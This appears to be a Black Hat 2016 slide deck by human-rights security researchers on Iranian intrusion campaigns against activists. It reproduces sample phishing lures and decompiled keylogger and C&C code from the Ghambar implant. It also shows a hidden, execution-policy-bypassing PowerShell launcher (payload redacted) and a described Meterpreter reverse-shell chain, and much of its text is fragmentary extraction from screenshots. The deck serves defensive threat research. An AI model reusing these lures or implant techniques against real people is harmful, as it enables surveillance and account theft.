blackhat USA 2016

Iran and the Soft War for Internet Dominance

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JULY 30 - AUGUST 4, 2016 / MANDALAY BAY / LAS VEGAS

Who we are

nex

- @botherder
- Technologist at Amnesty International.
- Senior Research Fellow at CitizenLab.
- Creator of Cuckoo Sandbox, Viper, Malwr.com ...
- <u>https://nex.sx</u>

cda

- @cda
- Networked systems researcher, based in Washington, D.C.
- Collaborates with civil society on Internet measurement and policy issues (e.g. Wassenaar), academic institutions, and others.
- History on Iran human rights and foreign policy.
- https://cda.io

Disclaimer: this work was done independently from our respective current affiliations. Opinions expressed here are our own, and do not reflect those of our employers.

The Green Movement and the Soft War





IRANIAN CYBER ARMY

- CEF

THIS SITE HAS BEEN HACKED BY IRANIAN CYBER ARMY

« به احترام رفراندومی که در 22 بهمن برگزار شد ومردمی که رای دادند و به احترام ملتی بزرگ و وطنی به نام ایران »

« بیشتر از این مهره بازی افرادی که خود در آمریکا در امن و امان به سر میبرند و از شما به عنوان مهره استفاده میکنند نباشید »

« فرزندان ایران زمین »



0

Security Error

e&rm=faise&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3I 😭

REL - A simple flex. 🔞 RIEL CMS: A Repid ... مَرَوتُكُو بِن العَتَنِ تَعَانَ اللهِ 👘 👘 Macres ... 🙆 Macres

Invalid Server Certificate

You attempted to reach www.google.com, but the server presented an invalid certificate.

Back.

Help me understand

When you connect to a secure website, the server hosting that site presents your browser with something. This certificate contains identity information, such as the address of the website, which is verified by a thin checking that the address in the certificate matches the address of the website, it is possible to verify that website you intended, and not a third party (such as an attacker on your network).

In this case, the server certificate or an intermediate CA certificate presented to your browser is invalid. The malformed, contains invalid fields, or is not supported.

Certification path DigNetar Root CA DigNetar Public Co groups com	
	Ves Certificate
Certificate status:	Vew Certificate

Other bookma

Shedding Light on the Targeting of Activists and At-Risk Communities



000 (> 0

004 Ċ ايتيكيشن يوتدارها \$ 54 خودروی پرنده، از گذشته تا حال هایکو کتاب، شعرسازی به شیوه نگو 🕜 اپليكيشەن عصيان ا) تقويم تأريخ **سالهای پیش در این روز** ه ا راهاندازی ترکیبی از بالاترین و گودر در سایت کلوب (rood) از آدم بودنم خجانت میکشم (1+++) = = اروتيسم (1 -- 1) 🋫 بلېل زېونې 📲 @RTArmanMohseni : حركت جالب #يريروک متوی ويژه تابيتايان https://t.co/vCRfFrAHqk @RTKoohyar : یادداشتم در مورد زوایای قاتونی و اخلاقی ماجر ای #تسنیم منتشر شد: تستیم و استخر مختلط؛ مرثیهای برای دنیای https://t.co/Yيدكان ...

ی خوش خوراک

.No bookmarks available

هشدار برای تروجانی به نام «فال حافظ»

امناً دوست ندارم که فضای آناین رو بیش از اون چیزی که هست امنیتی نشون بدم. اما واقعیت اینه که آقایون قصد دارند با هر ترفندی که شده به حریم قصومی برخی تجاوز کنند. بلکه بتونن اطلاعات بیشتری از زندگی فصومی شما و دوستانتون به دست بیارن. حتماً یادتون هست که چند وقت پیش ا<mark>شارمای گردم ب</mark>ه تروجانی به نام «اسید» که با سواستفاده از خبر مربوط به اسیدپاشی تلاش داشت تا ایمیل هایی رو هک کنه و حتی تونست به ایمیل یکی از دوستانم هم نفوذ

osyan.net

11 مرداد ۱۳۹۰



-

کنم. در نوشتهای دیگر جزئیات این تروجان رو در این ویلاگ **منتشر گردم.** به هر حال نویسنده یا نویسندگان این تروجان هر که باشند، از قرار معلوم همچنان تقاش میکنند تا از راه و روشهای مشابه این کار رو تکرار کنند. ۲۸ ژوئن ایمیلی دریافت کردم که حاوی قایلی به نام Soz shoma.rar و به مجم ۴۴۹ گیلوبایت بود. این عمل توسط همون قرستنده اما یا یک تام دیگه به اسم ساناز در ۲۶ جولای و در قالب قایل دیگری به نام falle hafez.rar او به مجم ۲۱.۰ گیلوبایت بر ایم ارسال شد در حالی که حاوی این پیام بود:

nima salam-narm afzar fale hafez ro ke khaste bodi barat ferestadam salam be sosan bereson-ghorbonet

نیما سلام. نرمافزار قال حافظ رو که خواسته بودی برات فرستادم. سلام به سوسن برسون. قریونت.

ایمیلش رو پاسخ دادم و گفتنم؛ ساناژ؟ یادم نمیاد همچین درخواستی کرده باشم که برام ترمافزار بقرستی- واقعاً فکر کردی من از فیشینگ چیزی نمیدونم؟ یا طلا اگه یه آی دی دفترونه درست کنی طل ساناژ سیز گول میخورم و ایمیلت رو باز میکنم؟ اشتباه گرفتی برادر. در ایمیل بعدی ادعا کرد که من رو با فرد دیگهای اشتباه گرفته و قایل رو اشتباهی فرستاده. در حالی که این ایمیل برای دوستان و همکار آن دیگه هم فرستاده شده بود. ده دوازده ساعت قبل همون قایل قال حافظ با یک ایمیل دیگه به نام بیتا برام ارسال شد که توش نوشته بود بیا قالت یگیرم!

شرح ماوقع رو گفتم صرفاً برای این که در جریان قر از بگیرید. اما معتوای این قلیل چیه؟ این قلیل نسخه تازه تروجان اسید هست با همون مکاتیزم عملکرد. فقط یه کم تو گدش دستگاری کردن تا توسط ویروس کشرها مجدداً شناسایی نشه، کسی که این رو میفرسته به سورس این تروجان دسترسی داره و همونیه گه نسخه قبلی رو توی نت منتشر گرده. قسمتی از ایمیلی که ارسال میکنه اینه:

Mission

Collect Samples and Incidents from Targets of Iran-based Intrusion Campaigns for Accountability and Community Education.



Intrusions and Elections



Internet Speed Throttling (May – June 2013)

رتش سالحی ایران

آنها پیوسته حیله می کنندو من نیز در مقابل آنها حیله می کنم

🛋 ~3 - Windows Picture and Fax Viewer



Phishing and Malware, the New Normal

0.51

Mandatory Grugq Quote





Real APT: we need to read their emails and steal their spreadsheets. Fantasy APT: we need to hack their baseband... because reasons!



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----- Forwarded message -----From: CIA Secure Program! <<u>security@cia.gov</u>> Date: 17 November 2013 07:52 Subject: Hi dear, Iranian people can contact us with secure CIA Program. To: <u>aminsabeti@gmail.com</u>

CIA Chat is a program for you to report threats in a secure manner to the US Central Intelligence Agency.

The most important threats we're looking for, are those related to national security and any type of information which can lead us to terrorist groups.

Your patriotic acts would be rewarded too. We pay money as reward to those who share useful information with us.

Although those of you seeking to work with the leading intelligence agency in the world, this program is a way for anonymous and secure connection to us.



facebook 🙏 💷 🛞 Search



1,122 comments 🔻

Add a comment

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Campaigns, Tools and Actors

Cross section of the Ecosystem

Cleaver (Ghambar)

0.51

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University Of Navarra - Middle East Human rights Webinar

We are honored to invite you to UNAV human rights online web conference in Middle East Department. In our first conference we focused on human rights in Iran. About 110 participants will take part in this conference from around the world even from Iran. Most of participants are researchers, journalists, activists, politicians and etc. We are glad to see you in this conference.

Requirements:

As mentioned above this is a webinar or online web conference then it have some requirements. We apprieciate it if you prepare these requirements before conference begining. <u>Adobe Connect</u> is used to hold this conference the you need to install some adobe free softwares. These software includes:

- Adobe Flash Player
- Adobe Connect Client
- An updated browser like Firefox or Chrome
- Microsoft Based Operating System

Please consider that you are invited as a speaker then you need to have some accessories like:

An up

An update to Adobe® Flash® Player is available.

This update includes improvements in usability, online security and stability, as well as new features which help content developers deliver rich and engaging experiences.

Did you know...

- The top 10 Facebook games use the Flash Player. To see more, visit: www.adobe.com/games.
- Most of the top video sites on the web use Flash Player
- Flash Player is installed on over 1.3 billion connected PCs

Note: If you have selected to allow Adobe to install updates, this update will be installed on your system automatically within 45 days or you can choose to download it now.

REMIND ME LATER

INSTALL

Features

- Self-destruct
- Shell
- Screenshot
- Shutdown computer
- Reboot computer
- Logoff user
- Lock computer
- Set and copy clipboard
- Turn on and off display
- Enable/disable mouse and keyboard (not implemented)
- "Enable or disable desktop" (not implemented)
- Trigger BSOD (not implemented)

Some neat little things...

• The keylogger doesn't store anything on disk, unless the C&C is unreachable. Then removes the logs when submitted.

```
private static void KeylogBufferArrived(string buffer)
    if (!string.IsNullOrEmpty(buffer))
        try
            if (Utils.<u>IsServerEndpointAvaliable()</u>)
                bool flag;
Program._communication.SendKeyLog(Program.ConfigInfo.TargetId, DateTime.Now,
true, buffer, out flag, out Program._tempSpecified);
            else
                string keyloggerStoragePath =
IoPathUtils.GetKeyloggerStoragePath();
                if (!Directory.Exists(keyloggerStoragePath))
                    Directory.CreateDirectory(keyloggerStoragePath);
                string path = Path.Combine(keyloggerStoragePath,
Path.GetRandomFileName());
                File.WriteAllText(path, buffer);
        catch (Exception ex)
            Utils.DbgPrint(string.Format("EX : {0} Method : {1}",
ex.Message, MethodBase.GetCurrentMethod().Name));
```

```
private static void IterativeRoutinsProc(ServiceManifest
communicationChannel)
£
    try
        while (true)
        Ł
            Utils.DbgPrint("CommandControlProc");
CommandControlController CommandControlProc(communicationChannel,
Program.ConfigInfo.TargetId);
            Program.FileUploader.UploadAllOfflineFiles(communicationChannel,
Program.ConfigInfo.TargetId);
            Utils.ManualSleepToBypassAv(30);
            Thread.Sleep(30000);
            Utils.<u>HeyImOnline</u>(Program._communication,
Program.ConfigInfo.TargetId);
```

Some neat little things...

- The keylogger doesn't store anything on disk, unless the C&C is unreachable. Then removes the logs when submitted.
- Ghambar is entirely modular. It's able to download and execute new plugins.
- Uses a SOAP-based protocol for communicating to the C&C, very similar to Operation Cleaver's TinyZBot.
 - The samples we obtained appeared to still be under development.
 - Ghambar might be the next generation implant from Cleaver?

```
private static void Main()
    try
        Utils.DbgPrint(".: In the name of God :.");
        string destinationPathOfExecution =
IoPathUtils.GetDestinationPathOfExecution();
        string text =
Path.Combine(destinationPathOfExecution,
Resources.APP EXE FILE NAME);
        if (!Directory.Exists(destinationPathOfExecution))
```

Directory.CreateDirectory(destinationPathOfExecution);
}



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Cleaver: summing up

- Active in compromising legitimate hosts, doing watering hole attacks.
- Rudimentary programming skills, but improving.
- Targeting both corporate and civil society.
- New version of TinyZBot?

Sima

Hello

I am Peter Bouckaert, Emergency director at Human Rights Watch, focusing on protecting the rights of civilians during armed conflict. Our group has huge field research & fact-finding missions to Iran, Lebanon, Kosovo, Chechnya, Afghanistan, Iraq, Israel and the Occupied Palestinian Territories, Macedonia, Indonesia, Uganda, and Sierra Leone, among others.

You can read my biography at below link:

https://www.hrw.org/about/people/peter-bouckaert

Please read our last research about "Iran Sending Thousands of Afghans to Fight in Syria" & contact me immediately.

You can read this article at below link:

https://www.hrw.org/news/2016/01/29/iran-sending-thousands-afghans-fight-syria

Peter Bouckaert

148.251 - /do

- /download/

[To Parent Directory]

2/24/2016	3:37	АМ
3/1/2016	3:47	AM
2/24/2016	3:27	AM
2/27/2016	3:33	AM
2/24/2016	12:03	PM
2/12/2016	11:06	AM
3/1/2016	2:12	AM
3/1/2016	2:13	AM
1/30/2016	11:35	AM
2/29/2016	12:21	АМ





[To Parent Directory]

3/1/2016 3:44 AM	1020416	. doc
3/1/2016 3:36 AM	766976	doc
2/29/2016 10:01 PM	657920	Hk_keports-iranrcs.doc

-----Forwarded message ------From: **U.S. Citizenship and Immigration Services** <<u>SCOPSSCATA@dhs.gov</u>> Date: Wed, Mar 9, 2016 at 12:06 PM Subject: Alert: Permanent Residence Card



You received this Email because you do not have a Permanent Residence, your Permanent Residence status needs to be adjusted or you need to renew/replace your Permanent Residence Card.

Starting March 9, 2016, customers must fill Form I-485 (can be found at the end of this email), in order to Register Permanent Residence or Adjust Status, and must fill Form I-90 (can be found at the end of this email) in order to Renew/Replace Permanent Residence Card and mail their Form I-485 or I-90 to USCIS local field/International offices. (Offices can be found here: https://www.uscis.gov/about-us/find-uscis-office)

USCIS will provide a 30 day grace period from March 9, 2016, for customers who file their Form I-485 or I-90 with one of the USCIS offices. All offices who receive Form I-485 and I-90 during this time will forward the forms to the Chicago Lockbox.

After April 9, 2016, local field/International offices will return all Form I-485 and I-90 they receive and advise customers to file at the Chicago Lockbox.

Download Form I-485, Application to Register Permanent Residence or Adjust Status: <u>https://www.uscis.gov/sites/</u> default/files/files/form/i-485.doc

Download Form I-90, Application to Replace Permanent Resident Card: <u>https://www.uscis.gov/sites/</u> default/files/files/form/i-90.doc

Contact us: https://www.uscis.gov/about-us/contact-us

With Best Regards,

USCIS Service Center.
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Iran Sending Thousands of Afghans to Fight in Syria

Refugees, Migrants Report Deportation Threats

(New York) – Iran's Revolutionary Guards Corps (IRGC) has recruited thousands of undocumented Afghans living there to fight in Syria since at least November 2013, Human Rights Watch said today, and a few have reported that Iranian authorities coerced them. Iran has urged the Afghans to defend Shia sacred sites and offered financial incentives and legal residence in Iran to encourage them to join pro-Syrian government militias.

Human Rights Watch in late 2015 interviewed more than two dozen Afghans who had lived in Iran about recruitment by Iranian officials of Afghans to fight in Syria. Some said they or their relatives had been coerced to fight in Syria and either had later fled and reached Greece, or had been deported to Afghanistan for refusing. One 17-year-old said

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Home View				
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	Clipboard Font Paragraph Insert Editing			
It is with immense excitement that the Iranian American Women Foundation and Women's Leadership Conference! The conference will be hosted on February 2	WordPad does not support all of the features of this document's format. Some content might be missing or displayed improperly.			
Westin San Diego Gaslamp Quarter. Moreover, it will feature a diverse array of	······································			
speakers, empowering stories, and opportunities to connect with fellow members community. Further information regarding ticket prices and program speakers wi the near future. Stay tuned! .	R.A.D Rape Aggression Defense for Women February 26, 2016 - 5:30pm to Thursday, March 3, 2016 - 8:30pm			
Master of Ceremonies: Shally Zomorodi	Location: Department of Police Services, 2nd Floor Training Room			
	R.A.D. Rape Aggression Defense for Women			
	Class meets: Tuesday & Thursday, February 23 & 25, March 1 & 3			
	Presented by: Police Services Staff			
Utilizing the R.A.D. student manual, students will start the first class by discussing such topics as: risk reduction strategies, "date rape," continuum of survival, defensive strategies, and the				
	100% @			

Tools & Techniques

- We've seen Sima using two different droppers
 - One worked terribly, had logic flaws, and had endless loops of flashing cmd.exe attempting to call *reg* command to gain persistence.



Tools & Techniques

- We've seen Sima using two different droppers
 - One worked terribly, had logic flaws, and had endless loops of flashing cmd.exe attempting to call *reg* command to gain persistence.
 - One much better designed, using task scheduler for persistence, and errors/dialogs suppression.
- Both would then instantiate a legitimate *RegAsm.exe*, do process hollowing, and inject it with *Luminosity Link* code.

Introducing LuminosityLink

Feature Packed and Incredibly Stable, Luminosity Brings new innovations to the table!





@«

Surveillance

Luminosity allows you to control your clients via Remote Desktop, Remote Webcam, and a professional Client Manager.



File Manager & Searcher

View, download, and delete files on your clients computer. You may also search for specific files, and have them uploaded automatically.



RDP Manager

Login and control your systems on a new user session via Microsoft Remote Desktop Protocol (RDP)



Malware Remover

Remove Malicious Items on your clients computer. In addition, you may block specific processes, and stop the installation of specified software.



Reverse Proxy

Use your clients IP Address as a SOCKS 5 Proxy in any application. Very stable and fast!



Password Recovery

Recovers Lost Passwords from all Major Web Browsers, all Email Clients, FileZilla, and Windows Serial Key.

Sima: summing up

- Excellent recon skills.
- Excellent social engineering skills.
 - Better English than most groups.
- Very methodical.
- Bad OPSEC.
- Bad development skills
- Still, successful.

Rocket Kitten

From: Mail-Secure-Team <<u>team.mail.secure@gmail.com</u>> Date: Mon, Sep 22, 2014 at 1:27 PM Subject: Important Alert: Confirm your Google Account

Google

Hi,

Some suspicious activities have been reported on this Google Account (<u>******@gmail.com</u>).

Your Account will be suspended in near future. To get back into your account click on the box below and confirm your account.

Confirm Your Account

Notice: If you do not confirm your account, you will not be able to access your Google Account anymore.

Sincerely, The Google Accounts team

This email can't receive replies. For more information, visit the Google Accounts Help Center.

You received this mandatory email service announcement to update you about important changes to your Google product or account. © 2014 Google Inc., 1600 Amphitheater Parkway, Mountain View, CA 94043, USA

<u>]]</u> links				
💮 🚺 🛛 links			▼ Search links	P
Organize 🔻 Include in library	y 🔻 Share with 🔻	New folder		🖿 🔻 🔳 😧
 ▲ ▲ ▲ Desktop Downloads ▲ Becent Places ↓ Libraries ▲ Documents ▲ Music 	1	2	E 3	4
4 items				

```
[Link Info]
Location flags:
                                   0 \times 00000001
(VolumeIDAndLocalBasePat
h)
                                   3
Drive type:
                                                 (DRIVE FIXED)
Drive serial number:
                                   703c-a852
Volume label (ASCII):
Local path (ASCII):
C:\Windows\System32\WindowsPowerShell\v1 .0\powershell.exe
[String Data]
Comment (UNICODE):
                                   windows photo viewer
Relative path (UNICODE):
Arguments (UNICODE):
```

-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -En codedCommand [BASE64 encoded payload]



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Then the attacker would...

- 1. Install a first stage .exe with persistence, that would launch a PowerShell command.
- 2. PowerShell commands would inject some code and execute it.
- 3. At the end of the chain, the code would download a Meterpreter DLL and launch it as a reverse shell.

Then the attacker would...

- 1. Install a first stage .exe with persistence, that would launch a PowerShell command.
- 2. PowerShell commands would inject some code and execute it.
- 3. At the end of the chain, the code would download a Meterpreter DLL and launch it as a reverse shell.
 - 1. Yes, they totally connected into our VM and when figured it wasn't legit, started frenetically deleting stuff and rebooting it.

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2 +	

Is there anyone from @telegram available they are accessing my arrested dads account without his permission.





271

Code +1 Phone number

Welcome to the official Telegram web-client.

Learn more

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1 89173XXXXXX. user id : 989367XXXXX. user id : 9 989368XXXXXX. user id : 9013XXXX "phone number": "989123XXXXX, "user id": 989370XXXXX. user id : 1076XXXX bone number 989173XXXXXX, user id: 1329XXXX { "phone_number": "989111XXXXX, "user_id": "1419XXXX" "phone number": 989575XXXXX. "user id": user id SU53XXXX "phone number": phone number 989196XXXXX. 1086XXXX 989128XXXXXX, user id : 1375XXXX 89148XXXXXX. user id : Z UXXXX "phone number": "989122XXXXX, "user id": "1351XXXX" 89148XXXXXX. user id : 6782XXXX phone number 989126XXXXX, user id 1015XXXX phone_number : 989174XXXXXX, user id: 1759XXXX { phone number : 989126XXXXX. user id : { "phone_number": '989128XXXXX, "user id :: 09XXXX 989149XXXXX, user id : 89122XXXXXX, user id 1351XXXX In the second phone number 989155XXXXX. "user id" 1039XXXX phone_number : 989217XXXXX. user 10 : { phone_number : 989124XXXXX, "user id": SXXXX phone number 989358XXXXX "user id": 989132XXXXX. user id : "phone number": phone number": "989128XXXXXX, "user id": phone_number 989163XXXXX. "user id": 7022XXXX "phone_number": 989122XXXXX "user id "phone_number": "989111XXXXX, "user_id": "1535XXXX"

WTF?

- Been burning Telegram API keys like there's no tomorrow.
- Fetching user IDs for Iranian phone numbers in mass.
 - Between 15 and 20 million users!
 - ~3 million a day!
- Useful for reconstructing networks and perhaps deanonymizing users when someone's phone is confiscated?

Let's be clear...

Telegram did not get breached!

- Those reporting as such should issue corrections.
- This actor abused Telegram's service in ways we find very concerning.
 - Repressive state + accounts enumeration + accounts hijacking = BAD NEWS.
 - Telegram acknowledged.



Keep Calm and Send Telegrams!

Some media reported on a "massive" hacker attack on Telegram in Iran. Here's what really happened:

Telegram accounts

Certain people checked whether some Iranian numbers were registered on Telegram and were able to confirm this for 15 million accounts. As a result, only publicly available data was collected and the accounts themselves were not accessed. Such mass checks are no longer possible since we introduced some limitations into our API this year.

However, since Telegram is based on phone contacts, any party can potentially check whether a phone number is registered in the system. This is also true for any other contact-based messaging app (WhatsApp, Messenger, etc.).

SMS codes

As for the reports that several accounts were accessed earlier this year by intercepting SMS-verification codes, this is hardly a new threat as we've been increasingly warning our users in certain countries about it. Last year we introduced 2-Step Verification specifically to defend users in such situations.

If you have reasons to think that your mobile carrier is intercepting your SMS codes, use 2-Step Verification to protect your account with a password. If you do that, there's nothing an attacker can do.

Rocket: summing up

- Diverse activities.
- Interesting tricks, experienced attackers.
- They do like pentesting tools. Found in the past using Core Impact Pro, now mostly Metasploit.
- Very active.
- For us, one of the most concerning groups.

-751

Infy

----- Forwarded message -----From: **baran omid** <<u>baramomid@gmail.com</u>> Date: 14 May 2013 09:11 Subject: ۲۹ انتخابات خرداد ۲۲ To: <u>baramomid@gmid.com</u>



← → C ff C taptan313.blogspot.com/2010/07/blog-post_26.html

☆ 🔾 🔒 🛛 🗉



ه.ش. ١٣٨٩ مرداد ٢. دوشتيه رهير شهيد و سرور عزيز حمله ی هکرهای رژیم به سایت پرطرقدار تقتان Ð به خدمت خواتندگان عزيز ميرسانيم : سایت برطرادار آژانس خیری نقتان با حمله ی هکرهای رژیم مواجه است و بسیاری از خوانندگان با مشکل فنی روبرو هستند. دست اندرکاران آژانس خبری تقتان در کوشش هستند به زودی یا آدرس جدیدی در خدمت خوانندگان عزیز باشند لطفادر انتظار باشيد أدرس جديد تفتان متعاقبا اعلان خواهد شد. يا موض مديريت آراس خبري تقتان ارسل شده توسط تقتل در ۱۹۲۴ هيچ نظري موجود نيست: يرجم زيباي بأوجستان ارسل یک نظر



----- Forwarded message -----From: kaveh tahmasbi <<u>kaveh.tahmasbi@gmail.com</u>> Date: 2016-04-20 12:45 GMT+02:00 Subject: فوری/ تصاویر امید کوکبی بعد از سرطان در زندان To:

> با درود تصاویر منتشر نشده از امید کوکبی بعد از سرطان جهت انتنشار گسترده دررسانه ها

♥ Omid Kokabi.zip

....



به سيستم نظر خواهي در مورد انرژي هسته اي خوش آمديد. مسوولان قول مي دهند كه طبق نظر شما رفتار كنند.

Rename Package	
Filename:	
C:\Users\baran\AppData\	Local\Temp\done.exe
Label	
done.exe	
	OK Cancel

Rename Package				X
Filename:				
C:\Users\YAHOSA~1\A	ppData\Loo		ower point.	exe
1				
Label				
power point.exe				
I. Contraction				
		0	К	Cancel

FORUM THREAD QUESTION: UNSOLVED

My sites, False positive



Posted: 25 Jul 2015 10:53 PM 6 Comments English

Hello I made Contact with sopho but after many days I have

aj58

my reauest was..... your product detect two of your latest updated trial ve also there is not any binar please remove my sites fro thanks

-----My sites http://updateserver1.com http://bestupdateserver.com/

my reauest was...... your product detect two of my site as malware. your latest updated trial version does not detect any file in my sites as malware. also there is not any binary, program, apk or any dangerous file in my sites. please remove my sites from your black list as soon as possible thanks -----My sites http://updateserver1.com http://bestupdateserver.com/

oositive,

DGA \o/

- They implemented a bizarre DGA algorithm
- It would use rotating pools of ~30 domains.
 - Domains with format *box40XX.net*
- The DGA domains are contacted even if primary C&C is up.
- Only one registered before, all the others available.
- Started sinkholing from December 2015.

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box4084.net

Professional Sinkhole Camouflage

217.

182. 185.

2.18

213.

95.8

2.18

150.7

150.7

86.98.

62.88.

5.201.

185.95

86.98

85.15

88.17

92.15

151.

77.2

88.1

78.1

106.

59.1

86.9

194.

80.2

106.5

151.2

195.6

103.2

106.5

2.147

57.88

209.1

213.1

[25/Jan/2016:06:42:53 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A12%3A51& - - [25/Jan/2016:06:45:13 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A45%3A12 [25/Jan/2016:06:59:38 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2014%3A59%3A36% [25/Jan/2016:07:20:57 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A51%3A6&cn [25/Jan/2016:07:25:24 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A22%3A42 [25/Jan/2016:07:25:48 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A55%3A49&cn [25/Jan/2016:07:25:59 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A56%3A8&cn [25/Jan/2016:07:27:15 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A55%3A49&c [25/Jan/2016:07:27:27 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A55%3A496 [25/Jan/2016:07:34:49 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A34%3A48& 25/Jan/2016:07:57:44 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2013%3A57%3A44&c 46.224 25/Jan/2016:08:00:34 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A30%3A32&c 36.83.4 25/Jan/2016:08:04:29 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A4%3A25&cn 78.22. 25/Jan/2016:08:18:44 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2014%3A18%3A46&cn 194.23 [25/Jan/2016:08:32:29 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2014%3A32%3A2 103.255 25/Jan/2016:08:46:05 -0500] "GET /themes/?tt=25%2F1%2F2016%20%205%3A46%3A9&cn= 185.95 [25/Jan/2016:08:50:15 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A20%3A16& [25/Jan/2016:08:52:58 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A22%3A54&d [25/Jan/2016:08:55:32 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A25%3A33&d [25/Jan/2016:09:03:13 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2018%3A3%3A12&cn [25/Jan/2016:09:08:52 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A38%3A37&cn= [25/Jan/2016:09:21:26 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A21%3A30& [25/Jan/2016:09:28:15 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A28%3A14& - - [25/Jan/2016:09:28:16 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A58%3A15& [25/Jan/2016:09:32:32 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A32%3A41&cr [25/Jan/2016:09:56:56 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A56%3A46&d [25/Jan/2016:09:57:39 -0500] "GET /themes/?tt=25%2F1%2F2016%20%206%3A57%3A15&cn= [25/Jan/2016:10:01:22 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2020%3A31%3A28&cr [25/Jan/2016:10:17:42 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2010%3A17%3A41&cr [25/Jan/2016:10:42:43 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2019%3A42%3A17&cn= [25/Jan/2016:10:46:41 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A46%3A42 [25/Jan/2016:11:11:29 - 0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A12%3A44&c [25/Jan/2016:11:14:22 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A44%3A29&c [25/Jan/2016:11:27:10 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2019%3A57%3A12 [25/Jan/2016:11:33:48 - 0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A34%3A24&cn [25/Jan/2016:11:36:23 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A6%3A22&c [25/Jan/2016:12:01:49 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2022%3A31%3A57&d [25/Jan/2016:12:10:57 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2020%3A40%3A54&c [25/Jan/2016:12:17:16 -0500] "GET /themes/?tt=25%2F1%2F2016%20%209%3A17%3A16&cn [25/Jan/2016:12:19:52 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2011%3A20%3A24 [25/Jan/2016:12:28:26 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2018%3A28%3A25 [25/1-= (2016,12,21,02, 0500] #CTT (themas (2++-25) 251) 25201 @ 200 2021 2419 2405

ver=00026&lfolder=f1&machineguid=bda9072 DPC&ver=00028&lfolder=f1&machineguid=184 &ver=00028&lfolder=f1&machineguid=4ee0f0 er=00029&lfolder=f1&machineguid=064d2ea9%. 25&ver=00026&lfolder=f1&machineguid=a027eaa =00028&lfolder=f1&machineguid=a6aec4ae%2D1c9 ver=00029&lfolder=f1&machineguid=064d2ea9%2D4 r=00028&lfolder=f1&machineguid=a6aec4ae%2D1c9 er=00028&lfolder=f1&machineguid=a6aec4ae%2D1c9 r=00026&lfolder=f1&machineguid=c4ba2975%2De1e2% C245CE9&ver=00029&lfolder=f1&machineguid=e19e5d er=00028&lfolder=f1&machineguid=10029a62%2D8506% =00028&lfolder=f1&machineguid=83479a23%2D6f55%2D4 &ver=00028&lfolder=f1&machineguid=2f8b7615%2Da044 NB%2D11&ver=00029&lfolder=f1&machineguid=f3ef46cc ver=00026&lfolder=f1&machineguid=f5b6f9fd%2Dce16%)2D30B663&ver=00028&lfolder=f1&machineguid=881ddd DPC&ver=00026&lfolder=f1&machineguid=bbe5ee05%2D 2D30B663&ver=00028&lfolder=f1&machineguid=881ddd =00026&lfolder=f1&machineguid=c4ba2975%2De1e2%2D r=00029&lfolder=f1&machineguid=60556f95%2D2b47 PC&ver=00027&lfolder=f1&machineguid=b361c6f8%2 P&ver=00027&lfolder=f1&machineguid=d091731b%20 2DPC&ver=00029&lfolder=f1&machineguid=6c08ba0 PC&ver=00028&lfolder=f1&machineguid=d7eeb31a% C&ver=00026&lfolder=f1&machineguid=48ea05ea% 00027&lfolder=f1&machineguid=19bdbf4b%2D4bec 46FFF7F&ver=00028&lfolder=f1&machineguid=fab &ver=00029&lfolder=f1&machineguid=df0d6be2% &ver=00028&lfolder=f1&machineguid=6ba1a147% %2D11&ver=00029&lfolder=f1&machineguid=f3et =00029&lfolder=f1&machineguid=8c403d04%2D4 46FFF7F&ver=00028&lfolder=f1&machineguid=f DC3AC4FB3&ver=00029&lfolder=f1&machineguid &ver=00026&lfolder=f1&machineguid=8967a6c1 er=00028&lfolder=f1&machineguid=c4f157d0%; 46FFF7F&ver=00028&lfolder=f1&machineguid= er=00029&lfolder=f1&machineguid=90422c32% ver=00028&lfolder=f1&machineguid=7ba6b6 3&ver=00029&lfolder=f1&machineguid=127 &ver=00027&lfolder=f1&machineguid=509aa



Infections per Country



Infy Infections over Observed Period



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memergenerator net

Hostname	Version	Seen	IP(s)	Location(s)
FERDOWSI	29	13/1/2016	2.180.157.xxx 31.14.152.xxx 5.232.90.xxx 46.100.135.xxx 2.180.92.xxx 5.222.214.xxx 2.182.52.xxx 2.180.143.xxx 65.49.68.xxx	Khorasan Razavi, Iran
DESKTOP-TFG03B1	30	2/2/2016	192.99.220.xxx 5.232.151.xxx 5.232.157.xxx	Khorasan Razavi, Iran
